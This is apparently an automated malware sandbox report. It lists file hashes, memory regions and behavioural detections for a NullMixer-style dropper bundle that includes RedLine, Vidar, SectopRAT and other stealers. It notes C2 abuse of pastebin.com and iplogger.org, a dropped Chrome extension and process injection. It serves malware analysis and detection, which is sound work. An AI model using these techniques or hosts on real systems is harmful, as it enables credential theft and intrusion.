| SHA256 | 606f0d287d8128e3a5b685a5ba659bde37edb9adccff260695cd0c10c6245c9a |
| SHA512 | e883e3d059a6ede0ff5d39cf9b679127bc640836ebe54b8460f14c1d75949dc5b01e27e4ed9a0ba461b4cfc2b7f46cf462dc642d5cbd3e4beebfd12ab74c3715 |
C:\Users\Admin\AppData\Local\Temp\7zS48663088\libwinpthread-1.dll
| MD5 | 1e0d62c34ff2e649ebc5c372065732ee |
| SHA1 | fcfaa36ba456159b26140a43e80fbd7e9d9af2de |
| SHA256 | 509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723 |
| SHA512 | 3653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61 |
C:\Users\Admin\AppData\Local\Temp\7zS48663088\libcurlpp.dll
| MD5 | e6e578373c2e416289a8da55f1dc5e8e |
| SHA1 | b601a229b66ec3d19c2369b36216c6f6eb1c063e |
| SHA256 | 43e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f |
| SHA512 | 9df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89 |
memory/2828-69-0x000000006B280000-0x000000006B2A6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zS48663088\libgcc_s_dw2-1.dll
| MD5 | 9aec524b616618b0d3d00b27b6f51da1 |
| SHA1 | 64264300801a353db324d11738ffed876550e1d3 |
| SHA256 | 59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e |
| SHA512 | 0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0 |
memory/2828-74-0x000000006B440000-0x000000006B4CF000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zS48663088\libcurl.dll
| MD5 | d09be1f47fd6b827c81a4812b4f7296f |
| SHA1 | 028ae3596c0790e6d7f9f2f3c8e9591527d267f7 |
| SHA256 | 0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e |
| SHA512 | 857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595 |
C:\Users\Admin\AppData\Local\Temp\7zS48663088\libstdc++-6.dll
| MD5 | 5e279950775baae5fea04d2cc4526bcc |
| SHA1 | 8aef1e10031c3629512c43dd8b0b5d9060878453 |
| SHA256 | 97de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87 |
| SHA512 | 666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02 |
memory/2828-88-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2828-89-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2828-86-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2828-85-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2828-84-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2828-83-0x000000006FE40000-0x000000006FFC6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon003b11682c.exe
| MD5 | a98672182143436478fdb3806ef6cd5a |
| SHA1 | 5d93bb55d9e7915afb11361f42a4c9c6393718b3 |
| SHA256 | 2010cb8b8069ae8e5527526b36f28b78766473b71b67d601351eb361dbef8528 |
| SHA512 | 0d2de593d1e194895833396c49efe194fca56afa3396e6aa41f8a51e961ea4f1ca97697ace0625ea97f5dfe7092b75049c58e582dda122cbc7966cb9a5d18892 |
\Users\Admin\AppData\Local\Temp\7zS48663088\Mon001dcfc58b0850.exe
| MD5 | 7c20266d1026a771cc3748fe31262057 |
| SHA1 | fc83150d1f81bfb2ff3c3d004ca864d53004fd27 |
| SHA256 | 4b2fb0f42a923104b69a45aa7a503fbd08739ebf3711599303aa15692136fa46 |
| SHA512 | e18c803e38a2111857519639b1ac838edc5b496a79fc579c7329188c66ba791cc499874132e4d616c24447d0cc5ebe7659f69ed1a810bea1a675b94d089b995f |
\Users\Admin\AppData\Local\Temp\7zS48663088\Mon0086072e872c.exe
| MD5 | 91e3bed725a8399d72b182e5e8132524 |
| SHA1 | 0f69cbbd268bae2a7aa2376dfce67afc5280f844 |
| SHA256 | 18af3c7bdeb815af9abe9dcc4f524b2fb2a33ac9cc6784f31e302c10a8d09a0d |
| SHA512 | 280fe25f4813bc261dee3b38ad03364896f3b4f049dcf1d94c6c6e7abb09b47e06445746719d902281d04cc15879d745dd0b71a466fa31f952ae51f90360ae76 |
\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00ea631982.exe
| MD5 | d08cc10c7c00e13dfb01513f7f817f87 |
| SHA1 | f3adddd06b5d5b3f7d61e2b72860de09b410f571 |
| SHA256 | 0fb8440355ee2a2fe55de0661199620353a01ed4fd1b0d0a2082f4c226e98e0d |
| SHA512 | 0b9b8c7da24cdb882bc9b7a37689bc0e81d39f1277017b44512e9a17d9e4e44b314d5b3e06f332d64f3f6953f84d309d4027842ef0000ff012e7af5c9012caa0 |
\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00946c5090.exe
| MD5 | 8aaec68031b771b85d39f2a00030a906 |
| SHA1 | 7510acf95f3f5e1115a8a29142e4bdca364f971f |
| SHA256 | dc901eb4d806ebff8b74b16047277b278d8a052e964453f5360397fcb84d306b |
| SHA512 | 4d3352fa56f4bac97d5acbab52788cad5794c9d25524ee0a79ef55bfc8e0a275413e34b8d91f4de48aedbe1a30f8f47a0219478c4620222f4677c55cf29162df |
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00f8ffa77fe72688.exe
| MD5 | ba8541c57dd3aae16584e20effd4c74c |
| SHA1 | 5a49e309db2f74485db177fd9b69e901e900c97d |
| SHA256 | dbc19cdcdf66065ddb1a01488dac2961b7aa1cde6143e8912bf74c829eaa2c6c |
| SHA512 | 1bdc7461faf32bba7264de0d1f26365ee285de687edef7d957194897fc398145414a63ad5255e6fc5b559e9979d82cf49e8adf4d9d58b86405c921aec027866d |
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00d0d86f7f1e6.exe
| MD5 | 57d5ff3df107c648b937d9a9f2b2913a |
| SHA1 | 976981fdecd8a4eba69470e48515e1dfb8183d19 |
| SHA256 | a35c57c48ea797dc9f1a891aed4b2cef9f4bbacbf24fe317164dbaa02c43bcb8 |
| SHA512 | e74e3772dd494a71f9073c6057ff7e9f7e1e7af4dcfb30832ca32f998ae1a3351f4adb9f774ac617bf55f73aba8e39d5777b500fcf7dcab6f70d58e899cce3e4 |
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00536518ad16.exe
| MD5 | 7c6b2dc2c253c2a6a3708605737aa9ae |
| SHA1 | cf4284f29f740b4925fb2902f7c3f234a5744718 |
| SHA256 | b45c9de845522095bbfa55166b519b2be36a08cea688491b9f339e862e79c3ba |
| SHA512 | 19579900d07912096641cc7381131ff6fcf60fffc99cdab23f7d8a577aa926bbf0e885a3a7869298bbfc0a05e276c1d5f45712812e4df6980e9554fc48162b07 |
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00e469051c4c7a.exe
| MD5 | e2f65b4d95e309cc35900bfd4125e0b6 |
| SHA1 | debd78147fc93aeb04e55b01ac31badad52a4d8e |
| SHA256 | 51fc72953df863f42e300f2a4c3466a86e6e97f066f3bcabf9a342647eb096f3 |
| SHA512 | dd5ee48afb249e78aaa63d992488c4f663ba6bd2b2252f85e6d133db0d700d72efbe3ddfe88d4e14dfc2d53a40ce8326d8a8c9c5941999be9393bfbe92a0dbe0 |
\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00ef1e53f6f539435.exe
| MD5 | 0d3a4198164c04b532d466c8ccc230e7 |
| SHA1 | cfdb6ce04212f543f8e2bf8cd784e3c635e9a289 |
| SHA256 | 900033e11a0853c12ec6135e9050e776f39b0bab77b7824aa98bef4db361a2f2 |
| SHA512 | d24655112faa883b506800a7b84f23b7446073c37e7d2f67289ec4fff0d54cba6aac7bfde8879dac6d3fa18b82cf96db1b2a2f8155e2b2a1e5c2ba9829004133 |
\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00ffeff6b2.exe
| MD5 | 451dff36acd7410c285b73baf5946183 |
| SHA1 | 9f558e45a492185c7ed7ebfffe9cbcffc69383de |
| SHA256 | c0edb14c6a8417fe1eb17829d2838e9fad1b3cc3e748d585029f4a9c1c3c1551 |
| SHA512 | a4aebd9840e964e71c11e37e07bf148098465db58761e4000e384f2deae641ecaabb62c63fc6c4d1f711eb60f285b86ab23ff3f77a575832bc75e1072b5e113a |
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon0052c87b01411369.exe
| MD5 | 06ee576f9fdc477c6a91f27e56339792 |
| SHA1 | 4302b67c8546d128f3e0ab830df53652f36f4bb0 |
| SHA256 | 035373a454afd283da27ebf569ab355be7db470a1a30c3695e18c984b785e1f8 |
| SHA512 | e5b337158905651e2740378615fcd9a8ba2b5e46f02c75be20c22e89b4cb40e8f1dfec1c5c1135f4d59114da9200a772f591622eddb865880b296321d80fb616 |
\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00806cfb48.exe
| MD5 | 69143c3e279096813040fa72b0371d4f |
| SHA1 | 689ee0137e029f58b34e20dab8f3115e3f7f323c |
| SHA256 | 1567686369bf90337140781d80a6a7f43f5a9ee5f0f6301977b66d794ca1297f |
| SHA512 | 7dc0a9603ba42b3c03904e479d6288a133c2c4ae5fb5106734d4e8a082f701eb5d2c023d5f66eb617324579e4ae3a704eb21982f958ba0d18c6246a4a151c18e |
\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00df41776583.exe
| MD5 | 5535284a6c2d931c336cb4e67b146eb2 |
| SHA1 | 1c1c64e2fba0d3bcd1a1851ec46a3163cc49dab0 |
| SHA256 | 9793a517c475fe2e4a361f6a6a99bb5dedd5d3a7db1b7ce6cf1f8f93c7f41b75 |
| SHA512 | 4833047de9198a7e92b35f1914c50f20a79778bb822cc282734cc0a95a2f4633dfe3e317ccbcd4fcc81b5f6d2242786d712eeab8e77dc589cbb693680a99767d |
C:\Users\Admin\AppData\Local\Temp\7zS48663088\Mon00b1dca232.exe
| MD5 | 2de8d046d57fa60509800b164868a881 |
| SHA1 | 905be498f9490445da60c9ee457de1e8411ce074 |
| SHA256 | 02883fa63667972547fe36023646554c3d2895b41c5a8683ab5b2292f5d2d464 |
| SHA512 | addb7b321517a94e1c4da2835178063a739ec01fa6d2e23b8221a50b6d6371b298e5f25a4bbc13d7e3990ab6116f50907e8d7409ee123824c6579fe5f6597735 |
memory/2828-82-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2828-81-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2828-80-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2828-87-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/984-132-0x0000000000400000-0x0000000000414000-memory.dmp
memory/2584-144-0x0000000001010000-0x000000000102A000-memory.dmp
memory/2476-147-0x0000000000BA0000-0x0000000000C12000-memory.dmp
memory/1300-145-0x0000000000E70000-0x0000000000EE0000-memory.dmp
memory/984-154-0x0000000000400000-0x0000000000414000-memory.dmp
memory/712-153-0x0000000000400000-0x00000000004BD000-memory.dmp
memory/1212-155-0x0000000000400000-0x0000000000414000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\is-OON1G.tmp\Mon001dcfc58b0850.tmp
| MD5 | 9303156631ee2436db23827e27337be4 |
| SHA1 | 018e0d5b6ccf7000e36af30cebeb8adc5667e5fa |
| SHA256 | bae22f27c12bce1faeb64b6eb733302aff5867baa8eed832397a7ce284a86ff4 |
| SHA512 | 9fe100fafb1c74728109667b5a2261a31e49c45723de748adaa1d9cb9f8daa389b871056c70066fa3a05be82a5017c8dd590ae149a56d824a9e250d31091a40f |
memory/2584-160-0x0000000000490000-0x0000000000496000-memory.dmp
memory/1376-161-0x0000000001150000-0x0000000001158000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\is-GG8NL.tmp\_isetup\_shfoldr.dll
| MD5 | 92dc6ef532fbb4a5c3201469a5b5eb63 |
| SHA1 | 3e89ff837147c16b4e41c30d6c796374e0b8e62c |
| SHA256 | 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87 |
| SHA512 | 9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3 |
C:\Users\Admin\AppData\Local\Temp\is-GG8NL.tmp\idp.dll
| MD5 | b37377d34c8262a90ff95a9a92b65ed8 |
| SHA1 | faeef415bd0bc2a08cf9fe1e987007bf28e7218d |
| SHA256 | e5a0ad2e37dde043a0dd4ad7634961ff3f0d70e87d2db49761eb4c1f468bb02f |
| SHA512 | 69d8da5b45d9b4b996d32328d3402fa37a3d710564d47c474bf9e15c1e45bc15b2858dbab446e6baec0c099d99007ff1099e9c4e66cfd1597f28c420bb50fdcc |
C:\Users\Admin\AppData\Local\Temp\CabB451.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
memory/2828-206-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2828-205-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/2828-204-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2828-203-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2828-202-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2828-199-0x0000000000400000-0x000000000051C000-memory.dmp
memory/2616-211-0x0000000002290000-0x00000000023DC000-memory.dmp
memory/952-222-0x0000000000400000-0x0000000000422000-memory.dmp
memory/952-221-0x0000000000400000-0x0000000000422000-memory.dmp
memory/952-220-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/952-218-0x0000000000400000-0x0000000000422000-memory.dmp
memory/952-216-0x0000000000400000-0x0000000000422000-memory.dmp
memory/952-214-0x0000000000400000-0x0000000000422000-memory.dmp
memory/952-212-0x0000000000400000-0x0000000000422000-memory.dmp
memory/952-224-0x0000000000400000-0x0000000000422000-memory.dmp
memory/964-226-0x0000000000400000-0x0000000000787000-memory.dmp
memory/1760-225-0x0000000000400000-0x00000000007F3000-memory.dmp
memory/2624-233-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2624-239-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/2624-237-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2624-235-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2624-240-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2624-243-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2624-241-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2516-244-0x0000000000400000-0x00000000007A0000-memory.dmp
memory/2616-245-0x00000000026C0000-0x0000000002765000-memory.dmp
memory/1212-246-0x0000000000400000-0x0000000000414000-memory.dmp
memory/2036-247-0x0000000000400000-0x00000000004BD000-memory.dmp
memory/2616-248-0x0000000000270000-0x0000000000302000-memory.dmp
memory/2616-251-0x0000000000270000-0x0000000000302000-memory.dmp
memory/2616-252-0x0000000000270000-0x0000000000302000-memory.dmp
memory/2500-253-0x0000000002320000-0x000000000246C000-memory.dmp
memory/2828-262-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2828-261-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2828-260-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2828-258-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/2828-255-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2828-254-0x0000000000400000-0x000000000051C000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-24 04:30
Reported
2024-11-24 04:33
Platform
win10v2004-20241007-en
Max time kernel
112s
Max time network
154s
Command Line
Signatures
Detect Fabookie payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Fabookie
Fabookie family
GCleaner
Gcleaner family
NullMixer
Nullmixer family
OnlyLogger
Onlylogger family
PrivateLoader
Privateloader family
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Redline family
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Sectoprat family
Socelars
Socelars family
Socelars payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Vidar
Vidar family
OnlyLogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Vidar Stealer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
ASPack v2.12-2.42
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\e60aa7cfc1e59d86051faaa21aee6a9ba4da6fe6f402da363b4acc0456c6dff7.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00e469051c4c7a.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\09xU.exE | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\is-NVO7O.tmp\Mon001dcfc58b0850.tmp | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00536518ad16.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
Executes dropped EXE
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-NVO7O.tmp\Mon001dcfc58b0850.tmp | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-4KKRC.tmp\Mon001dcfc58b0850.tmp | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
Reads user/profile data of web browsers
Drops Chrome extension
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\hemlmgggokggmncimchkllhcjcaimcle\9.86.66_0\manifest.json | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00f8ffa77fe72688.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Looks up geolocation information via web service
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2260 set thread context of 3552 | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00df41776583.exe | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00df41776583.exe |
| PID 3028 set thread context of 3760 | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon003b11682c.exe | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon003b11682c.exe |
Browser Information Discovery
Enumerates physical storage devices
Program crash
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00df41776583.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon003b11682c.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\e60aa7cfc1e59d86051faaa21aee6a9ba4da6fe6f402da363b4acc0456c6dff7.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00536518ad16.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon0086072e872c.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00ffeff6b2.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon001dcfc58b0850.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00806cfb48.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\setup_install.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00ea631982.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00b1dca232.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00ef1e53f6f539435.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00df41776583.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon001dcfc58b0850.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC42EBF87\Mon00e469051c4c7a.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-4KKRC.tmp\Mon001dcfc58b0850.tmp | N/A |
